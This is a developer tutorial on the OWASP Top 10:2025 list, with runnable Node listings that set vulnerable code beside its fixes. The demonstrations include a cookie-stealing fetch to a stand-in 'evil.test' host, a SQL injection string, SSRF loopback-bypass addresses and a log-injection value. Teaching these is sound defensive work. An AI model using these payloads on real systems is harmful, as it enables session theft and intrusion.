A list from 2021 that now makes you get the names wrong
If you study the OWASP Top 10 from a guide written two years ago, you end up talking about "Insecure Design" in fourth place, about SSRF as a standalone category and about "Vulnerable and Outdated Components". The list, however, has been updated: the official OWASP Top 10:2025 page presents it as the eighth edition, with two new categories and one merger. An article titled "2025" that keeps numbering the entries as in 2021 teaches you a map that no longer matches the territory.
This guide follows the 2025 list, ten entries, and for each one does three things: it says what changes on the official page, shows a flaw in code that you can run on your own computer and explains what fixes it. Every listing was run with Node 24.11, twice with identical output; the outputs reported in the comments are the real ones. Where an example would require a server, a database or a cloud account, I say so and report no output.
A warning about method. The OWASP Top 10 is, in the words of its page, an awareness document: it helps you decide where to look, it does not certify that an application is secure. When a category says "100% of the applications tested" it presents a flaw of that family, it does not mean that every application can be breached in that way. Read the ten entries as questions to put to your code.
What has changed since 2021
Before going into detail, here is the 2025 list with the position each entry had in 2021, as reported by the official pages of each category and by the introduction.
| 2025 | Entry | Compared with 2021 |
|---|---|---|
| A01 | Broken Access Control | Stays first; SSRF has been merged into it |
| A02 | Security Misconfiguration | Rises from fifth to second place |
| A03 | Software Supply Chain Failures | Broadens "Vulnerable and Outdated Components" to the whole build and distribution chain |
| A04 | Cryptographic Failures | Drops from second to fourth place |
| A05 | Injection | Drops from third to fifth place |
| A06 | Insecure Design | Drops from fourth to sixth place |
| A07 | Authentication Failures | Stays seventh; name shortened |
| A08 | Software or Data Integrity Failures | Stays eighth; "and" becomes "or" |
| A09 | Security Logging and Alerting Failures | Stays ninth; "Monitoring" becomes "Alerting" |
| A10 | Mishandling of Exceptional Conditions | New category |
There are three changes of substance. Merging SSRF into access control says that "the server makes a request on behalf of someone who would not be entitled to it" is, at the root, an authorisation flaw. Widening the supply chain shifts attention from the package with a known vulnerability to the whole path that the code takes before reaching production. And the new A10 puts under one label errors that used to sit in "code quality": badly handled exceptions, checks that "fail open". The examples that follow are in TypeScript and JavaScript, but the concepts hold in any language.
A01 - Broken Access Control (and SSRF)
The official page reports that 100% of the applications tested had some form of broken access control, and that this category has the highest number of occurrences in the data collected. The most frequent cause is simple: the code looks a resource up by identifier and does not ask who owns it. That is the insecure direct object reference, one of the entries listed by the page. The listing shows the same lookup written in two ways, with the orders in memory so as not to need a server or a database.
// The orders live in memory: no database, no network.
const orders = [
{ id: 'o1', userId: 'u1', total: 50 },
{ id: 'o2', userId: 'u2', total: 900 },
];
// VULNERABLE: it only looks up by identifier.
const readOrderVulnerable = (_user, orderId) => {
const order = orders.find((o) => o.id === orderId);
return order ? { status: 200, body: order } : { status: 404 };
};
// SAFE: ownership is part of the lookup; denied by default.
const readOrder = (user, orderId) => {
const order = orders.find((o) => o.id === orderId && o.userId === user.id);
return order ? { status: 200, body: order } : { status: 404 };
};
const mario = { id: 'u1' };
console.log('vulnerable, o1:', JSON.stringify(readOrderVulnerable(mario, 'o1')));
console.log('vulnerable, o2:', JSON.stringify(readOrderVulnerable(mario, 'o2')));
console.log('safe, o1:', JSON.stringify(readOrder(mario, 'o1')));
console.log('safe, o2:', JSON.stringify(readOrder(mario, 'o2')));
// Output (Node 24.11.0, identical in two runs):
// vulnerable, o1: {"status":200,"body":{"id":"o1","userId":"u1","total":50}}
// vulnerable, o2: {"status":200,"body":{"id":"o2","userId":"u2","total":900}}
// safe, o1: {"status":200,"body":{"id":"o1","userId":"u1","total":50}}
// safe, o2: {"status":404}
The vulnerable version returns another user's order because knowing (or guessing) the identifier is enough. In the safe one the ownership condition is part of the lookup, not a check made afterwards: that way someone else's order simply appears not to exist and the code is denied by default, as the page asks ("deny by default"). Answering 404 instead of 403 does not even reveal that the identifier exists, and it is a design choice: if you need to distinguish the two cases, the trade-off is telling the attacker which identifiers are valid.
The point that anyone working with Angular must internalise is in the third scenario of the same page: if
all the checking is in the front end, the attacker does not need the browser and a curl
call to the address that the interface hides from him is enough. Angular's route guards and interceptors
serve to guide the user's experience; the check that matters is the one that runs on the server,
where the attacker cannot modify it. Again according to the page, stateless JWT tokens should have a
short life, and for long-lived ones a refresh token with revocation is advisable.
SSRF, now inside A01
SSRF (server-side request forgery) arises when the server fetches an address given to it by the user. The classic flaw is defending with a list of forbidden addresses. The listing tries a filter of this kind, like those found in guides, against several forms of the same loopback address, and compares it with a list of permitted names:
// A "denylist" filter on the host name, like the ones found in tutorials.
const forbidden = [/^127\./, /^10\./, /^172\.(1[6-9]|2\d|3[01])\./, /^192\.168\./, /^169\.254\./, /^0\./, /localhost/i];
const denylist = (host) => forbidden.some((re) => re.test(host));
// Allowlist: exact protocol and host name.
const allowed = new Set(['api.example.com']);
const allowlist = (text) => {
const url = new URL(text);
return url.protocol === 'https:' && allowed.has(url.hostname);
};
const tests = [
'http://127.0.0.1/',
'http://2130706433/',
'http://0x7f.1/',
'http://[::1]/',
'http://[::ffff:7f00:1]/',
'https://api.example.com/data',
'https://api.example.com.evil.test/',
];
for (const p of tests) {
const host = new URL(p).hostname;
console.log(`${p.padEnd(32)} host=${host.padEnd(20)} denylist blocks: ${String(denylist(host)).padEnd(5)} allowlist allows: ${allowlist(p)}`);
}
// Output (Node 24.11.0, identical in two runs):
// http://127.0.0.1/ host=127.0.0.1 denylist blocks: true allowlist allows: false
// http://2130706433/ host=127.0.0.1 denylist blocks: true allowlist allows: false
// http://0x7f.1/ host=127.0.0.1 denylist blocks: true allowlist allows: false
// http://[::1]/ host=[::1] denylist blocks: false allowlist allows: false
// http://[::ffff:7f00:1]/ host=[::ffff:7f00:1] denylist blocks: false allowlist allows: false
// https://api.example.com/data host=api.example.com denylist blocks: false allowlist allows: true
// https://api.example.com.evil.test/ host=api.example.com.evil.test denylist blocks: false allowlist allows: false
Node's URL parser normalises the decimal (2130706433) and hexadecimal
(0x7f.1) forms into 127.0.0.1, and so the filter catches them. But it lets
[::1] and the mapped IPv6 form through: the filter knew how to describe IPv4 and not IPv6. Every
denylist has a hole of this kind, because you have to foresee all the wrong forms. The allowlist
starts from the other end: only https and only these names, with exact comparison, which also rejects
api.example.com.evil.test.
Not even the allowlist is enough on its own. The OWASP guide on SSRF prevention warns that a list of domains alone does not prevent DNS rebinding: you must verify the resolved IP addresses and make the client connect only to those validated, without a second resolution between the check and the connection. I did not run this, because it requires a resolver and a network; it is the pattern to adopt, not a listing.
A02 - Security Misconfiguration
It rises to second place: the page reports that 100% of the applications tested had some misconfiguration, and explains the rise by the shift towards ever more configurable software. Among the signals listed are unnecessary features left enabled, default accounts, error messages that reveal the stack trace and missing security headers. The antidote it indicates is a repeatable, automated hardening process, with environments configured identically but with different credentials.
On the HTTP headers side, the Helmet package for Express sets them in one go. To see what it really does without starting a server, the listing calls the middleware with a fake response that collects the headers (Helmet 8.3.0):
import helmet from 'helmet';
// A fake response: it collects the headers set by the middleware. No server.
const headers = new Map();
const res = {
setHeader: (name, value) => headers.set(name.toLowerCase(), String(value)),
removeHeader: (name) => headers.delete(name.toLowerCase()),
getHeader: (name) => headers.get(name.toLowerCase()),
};
helmet()({ headers: {}, method: 'GET' }, res, () => {});
for (const [name, value] of [...headers].sort()) console.log(`${name}: ${value}`);
// Output (Node 24.11.0, identical in two runs):
// content-security-policy: default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests
// cross-origin-opener-policy: same-origin
// cross-origin-resource-policy: same-origin
// origin-agent-cluster: ?1
// referrer-policy: no-referrer
// strict-transport-security: max-age=31536000; includeSubDomains
// x-content-type-options: nosniff
// x-dns-prefetch-control: off
// x-download-options: noopen
// x-frame-options: SAMEORIGIN
// x-permitted-cross-domain-policies: none
// x-xss-protection: 0
The default policy limits scripts to the site's own origin (script-src 'self') and
forbids inline event attributes. Many guides "loosen" it by adding
'unsafe-inline' to script-src to make existing code work: that is
exactly the kind of script an XSS attack injects, so that line cancels the reason the
policy exists. If one of your inline scripts does not start, the solution is to move it to a file or use a
nonce, not to remove the protection. Note also x-xss-protection: 0: Helmet's documentation explains that it turns off on
purpose the browsers' "faulty" XSS filter, by setting the historical header to zero.
A03 - Software Supply Chain Failures
This is the category that has changed the most. The page explains that at the top of the community survey was precisely the supply chain, with exactly 50% of respondents ranking it first, and that the risk is now broader than "component with a known vulnerability": it includes dependencies, build tools, IDE extensions, repositories and the path by which packages reach production. Among its cases it cites the SolarWinds compromise in 2019.
Here a code listing is not enough: you need commands, and I tried them on a test project with three
direct dependencies (jsonwebtoken 9.0.3, helmet 8.3.0,
express-rate-limit 8.7.4), npm 11.6.3:
npm audit --omit=dev
# found 0 vulnerabilities
npm sbom --sbom-format cyclonedx
# CycloneDX 1.5, 82 components listed for three direct dependencies
npm ci
# installs exactly what package-lock.json says; I did not rerun it here
The number that matters is the second: three direct dependencies bring 82 components into the bill of materials,
almost all transitive, and nobody chose them explicitly. The "0 vulnerabilities" of the first command
concerns only that date and those versions, and depends on the advisories published at the time: repeat the
command every time you change something, do not cite it as permanent proof. As for npm ci, the
npm documentation says it requires an existing lockfile and fails, instead of updating it, if it does not
match package.json: that is why it is the right command in pipelines, because the build
installs what you have verified.
The OWASP page adds two organisational indications that no command replaces. The first is separation of duties: no one person should be able to write code and take it to production without someone else's review. The second is that the CI/CD pipeline must not be less protected than the systems it builds and distributes.
A04 - Cryptographic Failures
It drops to fourth place. Among the most frequent causes the page indicates the use of weak random number generators and old algorithms, and asks not to store keys in the repository. The case every web developer meets is the password: the classic example stores an unsalted MD5, and the listing shows why that does not work: two users with the same password have the same hash, so whoever steals the table groups them and attacks once.
For the solution I used crypto.argon2Sync, which node:crypto offers since
version 24.7.0, with the minimum configuration that OWASP's Password Storage Cheat Sheet indicates for
Argon2id (19 MiB of memory, two iterations, parallelism 1). The salt is random for each user and the
comparison is done with timingSafeEqual, which does not stop at the first different byte.
import { argon2Sync, createHash, randomBytes, timingSafeEqual } from 'node:crypto';
// VULNERABLE: fast hash with no salt. Two users with the same password have the same hash.
const md5 = (p) => createHash('md5').update(p).digest('hex');
console.log('MD5 equal for two users with the same password:', md5('Summer2026!') === md5('Summer2026!'));
// Minimum Argon2id configuration from the OWASP Password Storage Cheat Sheet:
// 19 MiB of memory (19456 KiB), 2 iterations, parallelism 1.
const hashArgon2id = (password, nonce) =>
argon2Sync('argon2id', { message: password, nonce, memory: 19456, passes: 2, parallelism: 1, tagLength: 32 });
const encrypt = (password) => {
const salt = randomBytes(16);
return { salt, hash: hashArgon2id(password, salt) };
};
const verify = (password, { salt, hash }) => timingSafeEqual(hashArgon2id(password, salt), hash);
const a = encrypt('Summer2026!');
const b = encrypt('Summer2026!');
console.log('Argon2id: equal hashes with the same password:', a.hash.equals(b.hash));
console.log('check with the right password:', verify('Summer2026!', a));
console.log('check with the wrong password:', verify('summer2026!', a));
// Output (Node 24.11.0, identical in two runs):
// MD5 equal for two users with the same password: true
// Argon2id: equal hashes with the same password: false
// check with the right password: true
// check with the wrong password: false
Same password, different hashes: it is the property the salt guarantees. The same cheat sheet puts in
order of preference Argon2id, then scrypt, then bcrypt for existing systems (with a work factor of
at least 10 and a 72-byte limit on the password) and PBKDF2 if FIPS-140 compliance is needed. So
bcrypt with 12 rounds, as seen in many guides, is not an error, but it is the choice for those who already
use it, not the starting one. I report no execution times: they depend on the machine, and the parameters
must be calibrated on yours.
A05 - Injection
It drops to fifth place, but remains the category with the most CVEs. The page distinguishes two extremes that help
reasoning: cross-site scripting is frequent and of medium impact (over 30,000 CVEs), SQL injection is
less frequent and of high impact (over 14,000). The common principle is that untrusted data reaches an
interpreter and is executed as commands. The listing uses the node:sqlite module with an in-memory
database, which in the Node 24 documentation is still at stability "1.2 release
candidate", and tries the same query in two ways:
import { DatabaseSync } from 'node:sqlite';
const db = new DatabaseSync(':memory:');
db.exec(`CREATE TABLE products (name TEXT, restricted INTEGER);
INSERT INTO products VALUES ('lamp', 0), ('master-key', 1);`);
const input = "x' OR restricted = 1 --";
// VULNERABLE: the data becomes part of the command.
const vulnerable = db.prepare(`SELECT name FROM products WHERE name = '${input}' AND restricted = 0`);
console.log('concatenated :', JSON.stringify(vulnerable.all()));
// SAFE: the structure of the command and the data travel separately.
const parameterized = db.prepare('SELECT name FROM products WHERE name = ? AND restricted = 0');
console.log('parameterized:', JSON.stringify(parameterized.all(input)));
console.log('legitimate value:', JSON.stringify(parameterized.all('lamp')));
// Output (Node 24.11.0, identical in two runs):
// concatenated : [{"name":"master-key"}]
// parameterized: []
// legitimate value: [{"name":"lamp"}]
The string x' OR restricted = 1 -- closes the literal, adds a condition and comments out the
rest: so the concatenated query returns precisely the restricted row that the condition
restricted = 0 should have excluded. With the ? placeholder the text cannot
change the structure of the command, so it finds nothing, and the legitimate value keeps working.
The OWASP page puts it this way: the preferable solution is an interface that keeps data separate from
commands; positive server-side validation helps but "is not a complete defence", and table or
column names cannot be parameterized, so they must be chosen from a fixed list.
On the Angular side, the official documentation says the framework treats all values as untrusted
and sanitizes and escapes them when they enter the DOM through binding or interpolation. The
protection is switched off when you mark a value as trusted with the
bypassSecurityTrust… functions: it is a statement you make ("I have inspected it and I know how it was
created"), and if it is false you have introduced a vulnerability. The same page warns never to build
templates by concatenating user input. I did not run Angular code for this point: the rule is
the documentation's.
A note on the confusion between injections: the attack on language models called prompt injection is not in this list. The A05 page points to the OWASP Top 10 for LLMs (entry LLM01:2025) as a separate list.
A06 - Insecure Design
This is the category of flaws that no "wrong" line of code explains: the design did not foresee a state that the attacker then found. It drops to sixth place because A02 and A03 overtake it, and the page also notes widespread improvements in threat modeling, inviting attention to the activities before the code: requirements and design. The official examples are about process, not syntax: a credential recovery with secret questions (forbidden by NIST 800-63b) or a cinema that allows group bookings without considering who exploits them en masse.
A concrete design control is limiting attempts. The listing implements by hand a fixed-window
limiter with the clock passed as a parameter, to show the mechanism deterministically. Whoever uses
express-rate-limit (8.7.4 in the test installation) gets the same effect with
a configuration option; check the option names on the version you install, because the guide
you find online may use names from earlier versions.
// Fixed window: at most `limit` attempts per key every `windowMs`.
// The clock is a parameter, so the example is deterministic.
const createLimiter = ({ limit, windowMs, now }) => {
const counters = new Map();
return (key) => {
const t = now();
const entry = counters.get(key);
if (!entry || t - entry.start >= windowMs) {
counters.set(key, { start: t, count: 1 });
return { allowed: true, remaining: limit - 1 };
}
entry.count += 1;
return { allowed: entry.count <= limit, remaining: Math.max(0, limit - entry.count) };
};
};
let time = 0;
const access = createLimiter({ limit: 3, windowMs: 15 * 60 * 1000, now: () => time });
for (let i = 1; i <= 5; i++) console.log(`attempt ${i} from 203.0.113.7:`, JSON.stringify(access('203.0.113.7')));
console.log('another address 198.51.100.2:', JSON.stringify(access('198.51.100.2')));
time = 15 * 60 * 1000;
console.log('after 15 minutes, 203.0.113.7:', JSON.stringify(access('203.0.113.7')));
// Output (Node 24.11.0, identical in two runs):
// attempt 1 from 203.0.113.7: {"allowed":true,"remaining":2}
// attempt 2 from 203.0.113.7: {"allowed":true,"remaining":1}
// attempt 3 from 203.0.113.7: {"allowed":true,"remaining":0}
// attempt 4 from 203.0.113.7: {"allowed":false,"remaining":0}
// attempt 5 from 203.0.113.7: {"allowed":false,"remaining":0}
// another address 198.51.100.2: {"allowed":true,"remaining":2}
// after 15 minutes, 203.0.113.7: {"allowed":true,"remaining":2}
The fourth attempt is rejected, another address has its own quota, and after the window the counter restarts. The choice of key is part of the design: limiting by IP address hits those behind a shared network, limiting by account lets an attacker lock someone else's account. That is why the OWASP page on authentication recommends delaying failed attempts "taking care not to create a denial-of-service scenario".
A07 - Authentication Failures
It stays in seventh place. The name loses "Identification"; the page observes that the growing use of standard authentication frameworks seems to have reduced occurrences. The indications are those to put in a checklist, and they are more surprising than they are remembered: multi-factor authentication, checking new passwords against the list of the most common ones and against breached ones, no default credentials and no forced rotation without suspicion of a breach, in line with the NIST 800-63b guidelines. A point of code that keeps being missed: use the same message for every login outcome, because a different message for "user does not exist" lets you discover which accounts exist.
For JWTs, the flaw is not in the format but in the use. The listing tries the library
jsonwebtoken 9.0.3 against four attempts to get around verification: a different issuer,
a different algorithm from the expected one, an expired token and a token with alg: none.
import jwt from 'jsonwebtoken';
const SECRET = 'test-secret-only-for-this-example-0123456789';
const attempt = (name, fn) => {
try { console.log(name.padEnd(34), 'OK ', JSON.stringify(fn())); }
catch (e) { console.log(name.padEnd(34), 'ERR ', e.name + ': ' + e.message); }
};
const valid = jwt.sign({ sub: 'u1' }, SECRET, { algorithm: 'HS256', expiresIn: '15m', issuer: 'example.dev' });
const decode = (t, opts) => { const { sub, iss } = jwt.verify(t, SECRET, opts); return { sub, iss }; };
attempt('valid, algorithms pinned', () => decode(valid, { algorithms: ['HS256'], issuer: 'example.dev' }));
attempt('different issuer', () => decode(valid, { algorithms: ['HS256'], issuer: 'other.dev' }));
const hs512 = jwt.sign({ sub: 'u1' }, SECRET, { algorithm: 'HS512', expiresIn: '15m' });
attempt('signed HS512, expected HS256', () => decode(hs512, { algorithms: ['HS256'] }));
const expired = jwt.sign({ sub: 'u1', exp: 1 }, SECRET, { algorithm: 'HS256' });
attempt('expired', () => decode(expired, { algorithms: ['HS256'] }));
// "alg: none" token: header and body in base64url, empty signature.
const b64 = (o) => Buffer.from(JSON.stringify(o)).toString('base64url');
const unsigned = `${b64({ alg: 'none', typ: 'JWT' })}.${b64({ sub: 'u1' })}.`;
attempt('alg none', () => decode(unsigned, { algorithms: ['HS256'] }));
// Output (Node 24.11.0, identical in two runs):
// valid, algorithms pinned OK {"sub":"u1","iss":"example.dev"}
// different issuer ERR JsonWebTokenError: jwt issuer invalid. expected: other.dev
// signed HS512, expected HS256 ERR JsonWebTokenError: invalid algorithm
// expired ERR TokenExpiredError: jwt expired
// alg none ERR JsonWebTokenError: jwt signature is required
All four attempts are rejected, but note why: the HS512 token passes the signature and
is rejected only because you pinned algorithms, and the issuer is checked only because
you asked for it. The options are explicit so that the token does not choose the rules by which it
is verified. The secret in the listing is an example: the real one goes in the environment, not in the code and
not in the repository. Asymmetric signing also exists (private key to sign, public key to verify), useful
when several services must verify tokens without being able to issue them; I did not try it here.
A08 - Software or Data Integrity Failures
It stays in eighth place, with the name corrected to "or". The page distinguishes this category from A03 by level: here the flaw is taking updates, code or data for granted without verifying their integrity. Among its examples it cites the deserialization of untrusted data and features included from an uncontrolled source, such as a script from an external service.
For resources loaded from another origin, the browser can verify a hash: it is Subresource
Integrity. According to MDN the integrity attribute contains one or more hashes prefixed with
the algorithm (sha256, sha384, sha512 are allowed) followed by the hash in
base64. The listing computes it for a sample content and shows that a change, even a minimal one, changes the outcome:
import { createHash } from 'node:crypto';
// Contents of the external file (here a string, no download).
const original = 'console.log("library v1.0");\n';
const tampered = 'console.log("library v1.0"); fetch("https://evil.test/?c="+document.cookie);\n';
const sri = (content) => 'sha384-' + createHash('sha384').update(content).digest('base64');
const expected = sri(original);
console.log('integrity attribute:', expected);
console.log('original file ->', sri(original) === expected ? 'check passed' : 'REJECTED');
console.log('tampered file ->', sri(tampered) === expected ? 'check passed' : 'REJECTED');
// Output (Node 24.11.0, identical in two runs):
// integrity attribute: sha384-sFmCEix5a/vajKlzvcCWou86hclshwW8m1XwfBa7UMAGPOHUlv6DRsf0fY1UIRGX
// original file -> check passed
// tampered file -> REJECTED
The attribute is used on the script tag together with crossorigin="anonymous". The limit:
it works only for resources that do not change. If the vendor updates the file without changing the
address, the browser rejects the resource and the page breaks, which is correct behaviour but must be
factored into the update process.
A09 - Security Logging and Alerting Failures
Here too one word changes: "Monitoring" becomes "Alerting", because, the page writes, excellent logging without alerts has minimal value in detecting incidents. It is a category always under-represented in the data, because it is hard to test, but it is the one that decides whether you discover an attack after an hour or after six months. Among the flaws the page lists is the unencoded insertion of data into logs, that is log injection, which can be seen in a few lines:
const userName = 'mario\n2026-11-12T10:00:00Z INFO login succeeded user=admin';
// VULNERABLE: the user's text goes into the log as it is.
const line = `2026-11-12T10:00:00Z WARN login failed user=${userName}`;
console.log('--- text log: lines =', line.split('\n').length);
console.log(line);
// SAFE: one JSON entry per line; the line break is encoded.
const entry = JSON.stringify({ t: '2026-11-12T10:00:00Z', level: 'WARN', event: 'login_failed', user: userName });
console.log('--- JSON log: lines =', entry.split('\n').length);
console.log(entry);
// Output (Node 24.11.0, identical in two runs):
// --- text log: lines = 2
// 2026-11-12T10:00:00Z WARN login failed user=mario
// 2026-11-12T10:00:00Z INFO login succeeded user=admin
// --- JSON log: lines = 1
// {"t":"2026-11-12T10:00:00Z","level":"WARN","event":"login_failed","user":"mario\n2026-11-12T10:00:00Z INFO login succeeded user=admin"}
In the text log the user's input contains a line break and the program that reads the file
sees two lines, the second of which is a fake "login succeeded" for admin. The JSON format
with one entry per line encodes the line break, and the attack remains data. That is why the OWASP page asks for
logs in a format that tools can read and for correctly encoded data.
As for what to log, the page asks to record, with enough user context, the outcomes of logins, access controls and failed server-side validations, and to keep them long enough for delayed analysis. The log must not contain sensitive data (the page cites the insertion of sensitive data in logs among the weaknesses) and where there is an important transaction you need a tamper-proof trail, for example an append-only table.
A10 - Mishandling of Exceptional Conditions (new)
The new category gathers errors that used to fall under the generic entry "code quality": improper error handling, logic errors, and the case that matters most to whoever writes control code, fail open, in which, when something does not work, the system allows instead of denying. The example is short: an authorisation function that raises an exception when the role is missing.
const policy = (user) => {
if (user.role === undefined) throw new TypeError('role missing');
return user.role === 'admin';
};
// VULNERABLE: if the check fails, it lets the request through (fail open).
const allowOpen = (user) => {
try { return policy(user); } catch { return true; }
};
// SAFE: if the check fails, it denies and leaves a trace (fail closed).
const allowClosed = (user) => {
try { return policy(user); }
catch (e) { console.log(' [alarm] check failed:', e.message); return false; }
};
const anomalous = { id: 'u9' };
console.log('fail open ->', allowOpen(anomalous));
console.log('fail closed->', allowClosed(anomalous));
// Output (Node 24.11.0, identical in two runs):
// fail open -> true
// [alarm] check failed: role missing
// fail closed-> false
The catch that returns true looks prudent, because it "does not block users
for an error of ours", and is instead an open door: producing the error is enough, here with a user without a
role, to be authorised. The closed version denies and leaves a trace. The official page prescribes
it: catch the error where it happens, handle it sensibly, have a global fallback handler,
and, if you are in the middle of a transaction, roll it back entirely and start over instead of
trying to carry on. It adds rate limits and quotas so that an attacker cannot provoke
errors in series.
Where to start, and in what order
Ten categories are too many to tackle at once. The order I propose is not that of the list and is not an OWASP ranking: it is my opinion, and yours will differ if your risk does.
- First access and interpreters (A01, A05): an ownership check on the server for every resource, a list of permitted destinations for every outgoing request and always-parameterized queries.
- Then secrets and passwords (A04, A07): an algorithm suited to passwords with a per-user salt, JWTs with short expiry and explicit verification options.
- Then dependencies (A03): lockfile,
npm ciin CI, an audit at every change. - Then configuration (A02): security headers and generic error messages in production.
- Finally design, observability and errors (A06, A09, A10): limits on attempts, structured logs with alerts and checks that fail closed.
The criterion behind the order is that the first two groups are flaws that an attacker exploits with a single request, while the last ones are paid for mostly in detection and response time. This does not mean putting them off: a perfect access control without logs leaves you with no way of noticing when someone gets around it.
What you can do now
You know that the 2025 list is not the 2021 one, you know the three changes that matter (SSRF inside access control, the supply chain in place of outdated components, the handling of exceptional conditions) and you have ten examples you can run to see the flaw and its fix. For each category you also know where what I tried stops: no listing was run on a real application, and the Angular code, DNS rebinding and asymmetric keys remain patterns to adapt. The next step is to take your application and put to each of the ten entries the question the official page suggests, starting from the resources your users must not be able to read. To go deeper, on the blog you will find another guide to the OWASP Top 10 2025, XSS, CSRF and CSP on the front end, OAuth, JWT and rate limiting for APIs, supply chain with npm audit and SBOM and, for the attack on language models that stays out here, the OWASP LLM Top 10 2025.
Sources
- OWASP Top 10:2025 - index and titles of the ten categories, consulted on 2026-11-12
- OWASP Top 10:2025, Introduction - what has changed since 2021 (two new categories, one merger), consulted on 2026-11-12
- A01:2025 Broken Access Control - SSRF merged in, prevention and scenarios, consulted on 2026-11-12
- A03:2025 Software Supply Chain Failures - scope of the category, separation of duties, consulted on 2026-11-12
- A10:2025 Mishandling of Exceptional Conditions - the new category and its guidance, consulted on 2026-11-12
- OWASP Password Storage Cheat Sheet - minimum parameters of Argon2id, scrypt, bcrypt and PBKDF2, consulted on 2026-11-12
- OWASP SSRF Prevention Cheat Sheet - allowlist and DNS rebinding, consulted on 2026-11-12
- Angular: Security - default sanitization and bypassSecurityTrust functions, consulted on 2026-11-12
- MDN: Subresource Integrity - format of the integrity attribute, consulted on 2026-11-12
- Node.js: crypto -
crypto.argon2added in v24.7.0, consulted on 2026-11-12 - npm: npm ci - differences from npm install, consulted on 2026-11-12
All the listings were run with Node 24.11.0 in a temporary folder outside the repository, twice with identical output. Test dependencies from the public npm registry: jsonwebtoken 9.0.3, helmet 8.3.0, express-rate-limit 8.7.4. No server started, no port opened, database in memory only.

Commenti
Caricamento commenti...
Sign in to comment